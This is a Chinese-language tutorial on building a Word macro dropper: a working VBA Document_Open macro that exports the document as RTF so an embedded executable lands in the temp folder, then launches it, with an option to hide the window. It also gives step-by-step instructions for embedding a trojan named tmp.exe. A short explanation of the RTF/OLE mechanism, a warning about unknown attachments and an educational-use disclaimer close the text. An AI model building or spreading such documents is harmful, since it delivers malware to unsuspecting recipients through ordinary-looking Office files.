Office是一款应用广泛的办公软件,它允许在文档中使用功能强大的可执行指令,也就是宏代码。然而,宏代码带来便利的同时,也使得病毒的制造与传播更加容易。正所谓想要瓦解敌人,一定要从内部开始,所以从Word宏病毒的实现入手,来分析其感染原理。

一、实验环境

实验目标:打开Word文档时,自动运行某个指定程序。

1. 启用所有宏

新建Word文档并打开,进入[选项]->[信任中心]->[信任中心设置]->[宏设置],点选“启用所有宏”。我的Office版本是2013,其他版本的设置大同小异,细节上可能有些许差别,读者自行Google。

2. 创建宏

进入[视图]->[宏],“宏名”任意输入,“宏的位置”选择当前活动文档,然后点击[创建],即可成功创建一个宏,并自动进入宏代码编辑模块。

3. 编写宏代码

选择工程目录中的[Project/Microsoft Word 对象/ThisDocument],编写如下代码:

Private Sub Document_Open()
    Application.DisplayStatusBar = False     ' 隐藏文档的状态栏
    Options.SaveNormalPrompt = False         ' 取消退出前对Normal模板的保存更改提示
    
    On Error GoTo temperr
    temp = Environ$("TEMP") + "\"            ' 获取系统临时目录
    GoTo nomal
temperr:
    temp = Environ("TEMP") + "\"
    GoTo nomal
    
nomal:
    original = ActiveDocument.FullName       ' 当前文档的全路径
    rtf1 = temp + "1.rtf"
    rtf2 = temp + "2.rtf"
    exe = temp + "tmp.exe"                   ' 嵌在文档中的木马程序
    exe2 = temp + "tmp (2).exe"
    
    Dim wrdApp As Object
    Set wrdApp = CreateObject("Word.Application")
    wrdApp.Visible = False
    
try:
    On Error GoTo err1
    ActiveDocument.SaveAs2 FileName:=rtf1, FileFormat:=wdFormatRTF ' 将当前文档另存为RTF
    ActiveDocument.SaveAs2 FileName:=rtf2, FileFormat:=wdFormatRTF
    ActiveDocument.SaveAs2 FileName:=original, FileFormat:=wdFormatDocument
    
    Set wrdDoc = wrdApp.Documents.Open(rtf1) ' 打开临时目录中的RTF文件
    
    On Error GoTo err2
    'Shell (exe, 0)                          ' 隐藏窗口执行木马程序
    Shell (exe)                              ' 显示窗口执行木马程序
    
    GoTo final
    
err1:
    GoTo final
    
err2:
    'Shell (exe2, 0)
    Shell (exe2)
    
    GoTo final
    
final:
    wrdApp.Quit
    
End Sub

4. 嵌入木马程序

上一步宏代码的目标是在打开Word时执行文件名为“tmp.exe”的木马程序,前提当然是文档中确实嵌入了这么一个程序,具体方法为:进入[插入]->[对象]->[由文件创建]->[浏览],选择你想嵌入的可执行程序(需提前重命名为“tmp.exe”)。

保存上述所有操作,关闭文档。重新打开文档(或将文档拷贝到另一台机器上打开),点击“enable content”(启用内容),会自动弹出刚才嵌入的可执行程序(如果在代码中设置隐藏窗口,需要打开进程管理器才能看到)。建议先找个系统程序试一下,比如cmd.exe或是calc.exe,但是在现实环境中,可执行程序就可能是个木马,而且无疑是隐藏窗口执行,难以被察觉。

二、感染原理

在上一步骤中,实现了打开文档自动执行可执行程序,其基本实现流程是:将当前文档另存为两个RTF文件,保存路径为系统临时目录,然后打开其中一个RTF文件,最后执行临时目录中一个名为“tmp.exe”的可执行程序。显然,该程序就是嵌入到文档中的可执行程序,而这个Word文档(这段宏代码)的目的就是将其释放并执行。那么问题来了,嵌在文档中的“tmp.exe”是怎么跑到系统临时目录中的呢?

其实很简单,一个RTF文件被打开时,该RTF文件所包含的OLE对象将会被自动释放至用户的临时目录中,并保留其原始的文件名。这么做的本意是优化性能,比如OLE对象重用,但是,它也可能被攻击者所利用,攻击者可以很容易地把自己的恶意程序嵌入到Word文件中,并且加上像上面那么一段宏代码,就能轻易感染目标机器。

这种场景最容易发生在邮件附件中,平时打开来历不明的Office附件要留一份心眼。

结束

参考文章:http://www.evil0x.com/posts/22164.html

注:本文仅用作学习交流,请勿非法滥用。